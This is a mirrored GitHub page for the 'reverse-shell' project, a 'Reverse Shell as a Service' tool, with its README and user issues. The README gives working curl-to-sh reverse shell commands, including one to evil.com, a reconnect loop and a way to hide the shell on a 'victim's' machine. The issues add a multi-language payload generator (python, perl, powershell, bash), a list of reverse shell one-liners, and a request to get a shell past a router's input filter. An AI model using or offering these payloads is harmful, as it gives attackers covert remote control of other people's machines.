Giter Club home page Giter Club logo

reverse-shell's Introduction

reverse-shell

Reverse Shell as a Service - https://reverse-shell.sh

Coverage Status npm GitHub Donate Bitcoin Donate Lightning Donate

Easy to remember reverse shell that should work on most Unix-like systems.

Detects available software on the target and runs an appropriate payload.

Usage

1. Listen for connection

On your machine, open up a port and listen on it. You can do this easily with netcat.

nc -l 1337

2. Execute reverse shell on target

On the target machine, pipe the output of https://reverse-shell.sh/yourip:port into sh.

curl https://reverse-shell.sh/192.168.0.69:1337 | sh

Go back to your machine, you should now have a shell prompt.

3. Don't be a dick

This is meant to be used for pentesting or helping coworkers understand why they should always lock their computers. Please don't use this for anything malicious.

Demo

Tips

Hostname

You can use a hostname instead of an IP.

curl https://reverse-shell.sh/localhost:1337 | sh

Remote connections

Because this is a reverse connection it can punch through firewalls and connect to the internet.

You could listen for connections on a server at evil.com and get a reverse shell from inside a secure network with:

curl https://reverse-shell.sh/evil.com:1337 | sh

Reconnecting

By default when the shell exits you lose your connection. You may do this by accident with an invalid command. You can easily create a shell that will attempt to reconnect by wrapping it in a while loop.

while true; do curl https://reverse-shell.sh/yourip:1337 | sh; done

Be careful if you do this to a coworker, if they leave the office with this still running you're opening them up to attack.

Running as a background process

The terminal session needs to be kept open to persist the reverse shell connection. That might be a bit of a giveaway if you're trying to prank coworkers.

The following command will run the reverse shell in a background process and exit the terminal, leaving no suspicious looking terminal windows open on the victim's machine.

Make sure you run this in a fresh terminal window otherwise you'll lose any work in your existing session.

sh -c "curl https://reverse-shell.sh/localhost:1337 | sh -i &" && exit

License

MIT © Luke Childs

reverse-shell's People

Contributors

greenkeeper[bot] avatar lukechilds avatar uzil avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

reverse-shell's Issues

how to Host On local machine

Can you please tell how to host it on localhost

Node version info:

image

tried running the it on localhost , but receiving an error and tried using with sudo also.

npm install

and

npm start

image

image

Change the command at index.js

The index.js that i change the command is like this:
'use strict';

const usage = `# Reverse Shell as a Service

https://github.com/GetRektBoy724/reverse-shell-as-service

List Of Payload:

1. python

2. perl

3. pwrshell

4. bash

How to use:

1. On your machine:

nc -l 1337

2. On the target machine:

curl -s https://shell.now.sh/yourip:1337 | payloadname

3. Don't be a dick`;

const generateScript = (host, port) => {
const payloads = {
python: python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("${host}",${port})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);',
perl: perl -e 'use Socket;$i="${host}";$p=${port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};',
pwrshell: powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('${host}',${port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()",
bash: /bin/bash -i >& /dev/tcp/${host}/${port} 0>&1,

    };

return Object.entries(payloads).reduce((script, [cmd, payload]) => {
	script += `

if command -v ${cmd} > /dev/null 2>&1; then
${payload}
exit;
fi`;

	return script;
}, '');

};

const reverseShell = req => {
const [host, port] = req.url.substr(1).split(':');
return usage + (host && port && generateScript(host, port));
};

module.exports = reverseShell;

Can i change the command at the index.js,and if i change the command is that wil be work?

Multiple types of Reverse Shell oneliners

Hello!

I really like your project, it is a lot more useful in pentesting than just a "prank".
So, as real usage of it emerges, new needs emerge too.

There are multiple ways to spawn a reverse shell. There are cases that python isn't installed somewhere, so your oneliner won't run and... no shell.

To dodge this, some years ago (when I was learning bash scripting), I created this project oneliner-sh. This is a CLI tool that lists many oneliners for the tester to try. That includes ruby, perl, pure bash(without netcat), powershell, etc.

I'd be really happy if you included several oneliners in your shell as a service, and (while defaulting to python) made possible an argument - let's say ?type=ruby - that would pick and return the modified version of the corresponding oneliner.

You will find many oneliner templates in the templates/ folder of my project.

Your project rocks!

P.S. Including a platform=(windows|linux) parameter will probably be needed, for better fitting the oneliners into the real situation.

Sample output of the tool:

Inline Reverse Shells
Provides Greppable-Cuttable one liners with one keystroke!
version: 0.1 alpha

0#shell#perl#perl -MIO::Socket -e '$c=new IO::Socket::INET(PeerAddr => "192.168.1.10:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'#
1#shell#php#<?php $sock=fsockopen("192.168.1.10",4444);exec("/bin/sh <&3 >&3 2>&3"); ?>#
2#shell#python#python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call("/bin/sh",shell=True);'#
3#shell#ruby#ruby -rsocket -e 'c=TCPSocket.new("192.168.1.10","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'#
4#shell#shell_script#rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh 2>&1|nc 192.168.1.10 4444 >/tmp/f#
5#shell#shell_script#exec 5<>/dev/tcp/192.168.1.10/4444;cat <&5 | while read line; do $line 2>&5 >&5; done#
6#shell#shell_script#/bin/sh -i >& /dev/tcp/192.168.1.10/4444 0>&1#

[QUESTION] Is way of getting a reverse shell without using `&` and `>`

Hi, I would appreciate all the help I can get. Ping @lukechilds and @uzil.

Summary: Is there another way of getting a reverse shell without using redirection etc?

Let's say I have this piece of code in my router hindering me from obtaining a reverse shell:

--- Helper function to check that the arguments that are passed to dnsget / ping do not contain special characters that make
-- the call turn into an exploit
-- @param str The string to check
-- @return true if the string does not contain an apparent exploit, false otherwise
local function check_for_exploit(str)
    if str then
        -- try to make sure the string is not an exploit in disguise
        -- it is about to be concatenated to a command so ...
        return match(str,"^[^<>%s%*%(%)%|&;~!?\\$]+$") and not (match(str,"^-") or match(str,"-$"))
    else
        return false
    end
end

This means I cannot use something like:

sh -i >& /dev/tcp/10.1.1.6/4444 0>&1

as the & and the > characters will cause check_for_exploit to return true.

Thanks,

Version 10 of node.js has been released

Version 10 of Node.js (code name Dubnium) has been released! 🎊

To see what happens to your code in Node.js 10, Greenkeeper has created a branch with the following changes:

  • Added the new Node.js version to your .travis.yml

If you’re interested in upgrading this repo to Node.js 10, you can open a PR with these changes. Please note that this issue is just intended as a friendly reminder and the PR as a possible starting point for getting your code running on Node.js 10.

More information on this issue

Greenkeeper has checked the engines key in any package.json file, the .nvmrc file, and the .travis.yml file, if present.

  • engines was only updated if it defined a single version, not a range.
  • .nvmrc was updated to Node.js 10
  • .travis.yml was only changed if there was a root-level node_js that didn’t already include Node.js 10, such as node or lts/*. In this case, the new version was appended to the list. We didn’t touch job or matrix configurations because these tend to be quite specific and complex, and it’s difficult to infer what the intentions were.

For many simpler .travis.yml configurations, this PR should suffice as-is, but depending on what you’re doing it may require additional work or may not be applicable at all. We’re also aware that you may have good reasons to not update to Node.js 10, which is why this was sent as an issue and not a pull request. Feel free to delete it without comment, I’m a humble robot and won’t feel rejected 🤖


FAQ and help

There is a collection of frequently asked questions. If those don’t help, you can always ask the humans behind Greenkeeper.


Your Greenkeeper Bot 🌴

Add password

Anyone can access shell if they hit the correct ip:port .
Why not add a password ??

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.